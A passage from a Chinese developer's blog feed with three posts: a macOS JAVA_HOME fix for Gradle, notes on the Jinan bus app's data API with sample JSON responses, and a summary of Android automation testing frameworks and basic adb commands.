&lt;p&gt;&lt;a href="https://www.diycode.cc/topics/419"&gt;一个简单的使用教程&lt;/a&gt;&lt;/p&gt;</content><category term="March"></category><category term="Android"></category><category term="Security"></category></entry><entry><title>解决MAC下IDEAL中Gradle缺失JAVA_HOME变量</title><link href="https://blog.chenjia.me/articles/170306-231148.html" rel="alternate"></link><published>2017-03-06T23:11:48+08:00</published><updated>2017-03-06T23:11:51+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-03-06:/articles/170306-231148.html</id><summary type="html">&lt;h2&gt;解决MAC下IDEAL中Gradle缺失JAVA_HOME变量&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;保证安装了JDK&lt;/li&gt;
&lt;li&gt;终端输入&lt;code&gt;/usr/libexec …&lt;/code&gt;&lt;/li&gt;&lt;/ol&gt;</summary><content type="html">&lt;h2&gt;解决MAC下IDEAL中Gradle缺失JAVA_HOME变量&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;保证安装了JDK&lt;/li&gt;
&lt;li&gt;终端输入&lt;code&gt;/usr/libexec/java_home&lt;/code&gt;，复制返回值&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo vim /etc/launchd.conf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;加入&lt;code&gt;setenv JAVA_HOME 之前复制的内容&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;重启ideal&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;关于/etc/launchd.conf&lt;/h2&gt;
&lt;p&gt;这个文件可以给图形程序设置环境变量等相关操作&lt;/p&gt;</content><category term="March"></category><category term="MAC"></category></entry><entry><title>济南公交信息接口</title><link href="https://blog.chenjia.me/articles/170228-175424.html" rel="alternate"></link><published>2017-02-28T17:54:24+08:00</published><updated>2017-02-28T17:54:27+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-02-28:/articles/170228-175424.html</id><summary type="html">&lt;h2&gt;使用前需知&lt;/h2&gt;
&lt;p&gt;使用API请求方式为GET，头部需要添加如下信息：&lt;/p&gt;
&lt;blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  &amp;quot;User-Agent&amp;quot;:&amp;quot;WayBook …&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;h2&gt;使用前需知&lt;/h2&gt;
&lt;p&gt;使用API请求方式为GET，头部需要添加如下信息：&lt;/p&gt;
&lt;blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  &amp;quot;User-Agent&amp;quot;:&amp;quot;WayBook/3114 (iPhone; iOS 10.2.1; Scale/2.00)&amp;quot;

  &amp;quot;version&amp;quot;:&amp;quot;ios-com.travelincity.WayBook-3114&amp;quot;
&lt;/pre&gt;&lt;/div&gt;


&lt;/blockquote&gt;
&lt;h2&gt;查询某车次信息&lt;/h2&gt;
&lt;p&gt;http://60.216.101.229/server-ue2/rest/buslines/simple/370100/119/0/20&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;{
&amp;quot;status&amp;quot;: {
    &amp;quot;code&amp;quot;: 0,
    &amp;quot;msg&amp;quot;: &amp;quot;&amp;quot;
},
&amp;quot;result&amp;quot;: {
    &amp;quot;pageParam&amp;quot;: {
        &amp;quot;offset&amp;quot;: 0,
        &amp;quot;len&amp;quot;: 20,
        &amp;quot;totalNum&amp;quot;: 2
    },
    &amp;quot;result&amp;quot;: [{
        &amp;quot;id&amp;quot;: &amp;quot;626&amp;quot;,
        &amp;quot;lineName&amp;quot;: &amp;quot;119&amp;quot;,
        &amp;quot;startStationName&amp;quot;: &amp;quot;解放桥北&amp;quot;,
        &amp;quot;endStationName&amp;quot;: &amp;quot;高新区管委会&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:41 PM&amp;quot;
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;627&amp;quot;,
        &amp;quot;lineName&amp;quot;: &amp;quot;119&amp;quot;,
        &amp;quot;startStationName&amp;quot;: &amp;quot;高新区管委会&amp;quot;,
        &amp;quot;endStationName&amp;quot;: &amp;quot;解放桥北&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:41 PM&amp;quot;
    }]
}
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;}&lt;/p&gt;
&lt;h2&gt;查询某车次车辆信息&lt;/h2&gt;
&lt;p&gt;http://60.216.101.229/server-ue2/rest/buses/busline/370100/626&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;{
&amp;quot;status&amp;quot;: {
    &amp;quot;code&amp;quot;: 0,
    &amp;quot;msg&amp;quot;: &amp;quot;&amp;quot;
},
&amp;quot;result&amp;quot;: [{
    &amp;quot;busId&amp;quot;: &amp;quot;k7115&amp;quot;,
    &amp;quot;lng&amp;quot;: 117.043701,
    &amp;quot;lat&amp;quot;: 36.661758,
    &amp;quot;velocity&amp;quot;: 14.637927147310137,
    &amp;quot;isArrvLft&amp;quot;: &amp;quot;2&amp;quot;,
    &amp;quot;stationSeqNum&amp;quot;: 4,
    &amp;quot;status&amp;quot;: &amp;quot;1&amp;quot;,
    &amp;quot;buslineId&amp;quot;: &amp;quot;626&amp;quot;,
    &amp;quot;actTime&amp;quot;: &amp;quot;Feb 28, 2017 02:47:36 PM&amp;quot;,
    &amp;quot;cardId&amp;quot;: &amp;quot;k7115&amp;quot;,
    &amp;quot;orgName&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;averageVelocity&amp;quot;: 9.617714694801721,
    &amp;quot;coordinate&amp;quot;: 0
}, {
    &amp;quot;busId&amp;quot;: &amp;quot;k4756&amp;quot;,
    &amp;quot;lng&amp;quot;: 117.129258,
    &amp;quot;lat&amp;quot;: 36.658146,
    &amp;quot;velocity&amp;quot;: 20.612236280532937,
    &amp;quot;isArrvLft&amp;quot;: &amp;quot;2&amp;quot;,
    &amp;quot;stationSeqNum&amp;quot;: 18,
    &amp;quot;status&amp;quot;: &amp;quot;1&amp;quot;,
    &amp;quot;buslineId&amp;quot;: &amp;quot;626&amp;quot;,
    &amp;quot;actTime&amp;quot;: &amp;quot;Feb 28, 2017 02:48:03 PM&amp;quot;,
    &amp;quot;cardId&amp;quot;: &amp;quot;k4756&amp;quot;,
    &amp;quot;orgName&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;averageVelocity&amp;quot;: 14.20242130390918,
    &amp;quot;coordinate&amp;quot;: 0
}, {
    &amp;quot;busId&amp;quot;: &amp;quot;4930&amp;quot;,
    &amp;quot;lng&amp;quot;: 117.09648,
    &amp;quot;lat&amp;quot;: 36.657035,
    &amp;quot;velocity&amp;quot;: 29.92720885319345,
    &amp;quot;isArrvLft&amp;quot;: &amp;quot;2&amp;quot;,
    &amp;quot;stationSeqNum&amp;quot;: 14,
    &amp;quot;status&amp;quot;: &amp;quot;1&amp;quot;,
    &amp;quot;buslineId&amp;quot;: &amp;quot;626&amp;quot;,
    &amp;quot;actTime&amp;quot;: &amp;quot;Feb 28, 2017 02:46:26 PM&amp;quot;,
    &amp;quot;cardId&amp;quot;: &amp;quot;4930&amp;quot;,
    &amp;quot;orgName&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;averageVelocity&amp;quot;: 14.392172603232366,
    &amp;quot;coordinate&amp;quot;: 0
}, {
    &amp;quot;busId&amp;quot;: &amp;quot;4940&amp;quot;,
    &amp;quot;lng&amp;quot;: 117.126201,
    &amp;quot;lat&amp;quot;: 36.680646,
    &amp;quot;velocity&amp;quot;: 17.869428854427756,
    &amp;quot;isArrvLft&amp;quot;: &amp;quot;2&amp;quot;,
    &amp;quot;stationSeqNum&amp;quot;: 24,
    &amp;quot;status&amp;quot;: &amp;quot;1&amp;quot;,
    &amp;quot;buslineId&amp;quot;: &amp;quot;626&amp;quot;,
    &amp;quot;actTime&amp;quot;: &amp;quot;Feb 28, 2017 02:48:14 PM&amp;quot;,
    &amp;quot;cardId&amp;quot;: &amp;quot;4940&amp;quot;,
    &amp;quot;orgName&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;averageVelocity&amp;quot;: 15.254815904004937,
    &amp;quot;coordinate&amp;quot;: 0
}, {
    &amp;quot;busId&amp;quot;: &amp;quot;4933&amp;quot;,
    &amp;quot;lng&amp;quot;: 117.06898,
    &amp;quot;lat&amp;quot;: 36.654258,
    &amp;quot;velocity&amp;quot;: 42.0223102853153,
    &amp;quot;isArrvLft&amp;quot;: &amp;quot;2&amp;quot;,
    &amp;quot;stationSeqNum&amp;quot;: 10,
    &amp;quot;status&amp;quot;: &amp;quot;1&amp;quot;,
    &amp;quot;buslineId&amp;quot;: &amp;quot;626&amp;quot;,
    &amp;quot;actTime&amp;quot;: &amp;quot;Feb 28, 2017 02:48:53 PM&amp;quot;,
    &amp;quot;cardId&amp;quot;: &amp;quot;4933&amp;quot;,
    &amp;quot;orgName&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;averageVelocity&amp;quot;: 12.28398160927543,
    &amp;quot;coordinate&amp;quot;: 0
}]
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;}&lt;/p&gt;
&lt;h2&gt;查询某车次站点信息&lt;/h2&gt;
&lt;p&gt;http://60.216.101.229/server-ue2/rest/buslines/370100/577&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;{
&amp;quot;status&amp;quot;: {
    &amp;quot;code&amp;quot;: 0,
    &amp;quot;msg&amp;quot;: &amp;quot;&amp;quot;
},
&amp;quot;result&amp;quot;: {
    &amp;quot;id&amp;quot;: &amp;quot;577&amp;quot;,
    &amp;quot;area&amp;quot;: 370100,
    &amp;quot;lineName&amp;quot;: &amp;quot;1&amp;quot;,
    &amp;quot;startStationName&amp;quot;: &amp;quot;营市街经十路&amp;quot;,
    &amp;quot;endStationName&amp;quot;: &amp;quot;洪家楼&amp;quot;,
    &amp;quot;stations&amp;quot;: [{
        &amp;quot;id&amp;quot;: &amp;quot;1&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;营市街经十路&amp;quot;,
        &amp;quot;lng&amp;quot;: 116.96724295683,
        &amp;quot;lat&amp;quot;: 36.65563239727,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;2&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;营市街经六路&amp;quot;,
        &amp;quot;lng&amp;quot;: 116.96913597481,
        &amp;quot;lat&amp;quot;: 36.660116506743,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;3&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;经四路西口&amp;quot;,
        &amp;quot;lng&amp;quot;: 116.97271754718,
        &amp;quot;lat&amp;quot;: 36.663182622482,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;4&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;经四纬十二&amp;quot;,
        &amp;quot;lng&amp;quot;: 116.97857707464,
        &amp;quot;lat&amp;quot;: 36.663553144733,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;5&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;经二纬十二&amp;quot;,
        &amp;quot;lng&amp;quot;: 116.97896137556,
        &amp;quot;lat&amp;quot;: 36.665230441023,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;6&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;华联商厦&amp;quot;,
        &amp;quot;lng&amp;quot;: 116.98370174748,
        &amp;quot;lat&amp;quot;: 36.66731472811,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;7&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;经二纬八&amp;quot;,
        &amp;quot;lng&amp;quot;: 116.98704356852,
        &amp;quot;lat&amp;quot;: 36.668215601526,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;8&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;经二纬六&amp;quot;,
        &amp;quot;lng&amp;quot;: 116.99140061954,
        &amp;quot;lat&amp;quot;: 36.669226319322,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;9&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;经二纬五&amp;quot;,
        &amp;quot;lng&amp;quot;: 116.99591265822,
        &amp;quot;lat&amp;quot;: 36.670217672381,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;10&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;经二纬二&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.001059936,
        &amp;quot;lat&amp;quot;: 36.671403113603,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;11&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;经二纬一&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.00652828222,
        &amp;quot;lat&amp;quot;: 36.672495203173,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;12&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;市法院&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.0124289692,
        &amp;quot;lat&amp;quot;: 36.671010176048,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;13&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;普利街&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.01623143899,
        &amp;quot;lat&amp;quot;: 36.670433216767,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;14&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;趵突泉东门&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.02607891358,
        &amp;quot;lat&amp;quot;: 36.668615936087,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;15&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;泉城广场北&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.03177713265,
        &amp;quot;lat&amp;quot;: 36.669011739356,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;16&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;青龙桥南&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.04024111882,
        &amp;quot;lat&amp;quot;: 36.670679298446,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;17&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;解放桥东&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.05011230545,
        &amp;quot;lat&amp;quot;: 36.672044332356,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;18&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;中心医院&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.05420113224,
        &amp;quot;lat&amp;quot;: 36.672018062723,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;19&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;解放路山大路&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.06032330543,
        &amp;quot;lat&amp;quot;: 36.671904309417,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;20&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;山大路山大南路&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.06265724449,
        &amp;quot;lat&amp;quot;: 36.678877009166,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;21&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;山大路花园庄东路&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.06265328453,
        &amp;quot;lat&amp;quot;: 36.682596627047,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;22&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;花园路山大路&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.06220244725,
        &amp;quot;lat&amp;quot;: 36.687816744313,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;23&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;洪家楼西路&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.06881596783,
        &amp;quot;lat&amp;quot;: 36.689175283276,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }, {
        &amp;quot;id&amp;quot;: &amp;quot;24&amp;quot;,
        &amp;quot;area&amp;quot;: 370100,
        &amp;quot;stationName&amp;quot;: &amp;quot;洪家楼&amp;quot;,
        &amp;quot;lng&amp;quot;: 117.07411720853,
        &amp;quot;lat&amp;quot;: 36.690176057512,
        &amp;quot;buslines&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;,
        &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
        &amp;quot;distance&amp;quot;: 0.0,
        &amp;quot;busLineList&amp;quot;: []
    }],
    &amp;quot;ticketPrice&amp;quot;: &amp;quot;1:票价一元  K1:票价两元&amp;quot;,
    &amp;quot;operationTime&amp;quot;: &amp;quot;营市街经十路:5:00－22:30洪家楼:5:00－22:30&amp;quot;,
    &amp;quot;owner&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;linePoints&amp;quot;: &amp;quot;116.96724295683_36.65563239727,116.96913597481_36.660116506743,116.97271754718_36.663182622482,116.97857707464_36.663553144733,116.97896137556_36.665230441023,116.98370174748_36.66731472811,116.98704356852_36.668215601526,116.99140061954_36.669226319322,116.99591265822_36.670217672381,117.001059936_36.671403113603,117.00652828222_36.672495203173,117.0124289692_36.671010176048,117.01623143899_36.670433216767,117.02607891358_36.668615936087,117.03177713265_36.669011739356,117.04024111882_36.670679298446,117.05011230545_36.672044332356,117.05420113224_36.672018062723,117.06032330543_36.671904309417,117.06265724449_36.678877009166,117.06265328453_36.682596627047,117.06220244725_36.687816744313,117.06881596783_36.689175283276,117.07411720853_36.690176057512&amp;quot;,
    &amp;quot;description&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;updateOwner&amp;quot;: &amp;quot;sys-upgrade&amp;quot;,
    &amp;quot;updateTime&amp;quot;: &amp;quot;Oct 22, 2016 09:12:39 PM&amp;quot;,
    &amp;quot;state&amp;quot;: &amp;quot;0&amp;quot;
}
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;}&lt;/p&gt;</content><category term="February"></category><category term="API"></category></entry><entry><title>Android自动化测试的一个总结</title><link href="https://blog.chenjia.me/articles/170221-161416.html" rel="alternate"></link><published>2017-02-21T16:14:16+08:00</published><updated>2017-02-21T16:14:21+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-02-21:/articles/170221-161416.html</id><summary type="html">&lt;h2&gt;Android 自动化测试&lt;/h2&gt;
&lt;p&gt;因为这两年都在研究Android安全，不知不觉的积累了许多自动化测试的知识。也是门外汉一步一步的学习过来 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Android 自动化测试&lt;/h2&gt;
&lt;p&gt;因为这两年都在研究Android安全，不知不觉的积累了许多自动化测试的知识。也是门外汉一步一步的学习过来。今天看到一本书，书名为《腾讯Android自动化测试实战》，发现其很好的整合了我这两年的学习，纠正了我很多概念上的错误。并且从中也获取了一些新的知识。&lt;/p&gt;
&lt;p&gt;Android自动化测试，最高的目标就是能让你的脚本正确的完成你想要的测试路径的覆盖。&lt;/p&gt;
&lt;p&gt;正如该书所述，对于初学者，至少现在要掌握这些框架，并且知道他们的不同之处。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Robotium&lt;/li&gt;
&lt;li&gt;Monkey&lt;/li&gt;
&lt;li&gt;UIAutomator&lt;/li&gt;
&lt;li&gt;Appium&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这四个分别代表着测试用例，随机化，跨应用和Server-Client测试模式&lt;/p&gt;
&lt;p&gt;每个类别的框架都有很多，就靠自己发现和对比。&lt;/p&gt;
&lt;h2&gt;获取的新知识&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Monkey，Instrumentation和MonkeyRunner是和Android同时开源的。&lt;/li&gt;
&lt;li&gt;自动化框架Selendroid，Espresso，Calabash，Appium 需要自己体会优缺点。选择适合你的&lt;/li&gt;
&lt;li&gt;国内框架BAT都有，BA开源&lt;/li&gt;
&lt;li&gt;Robotium原理剖析&lt;/li&gt;
&lt;li&gt;获取logcat &lt;code&gt;logcat -V time &amp;gt;log.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;获取流量信息 &lt;code&gt;cat /proc/uid_stat/&amp;lt;UID&amp;gt;/tcp_rcv&lt;/code&gt; or &lt;code&gt;tcp_set&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ps |grep &amp;lt;package name&amp;gt;&lt;/code&gt;获取 PID&lt;/li&gt;
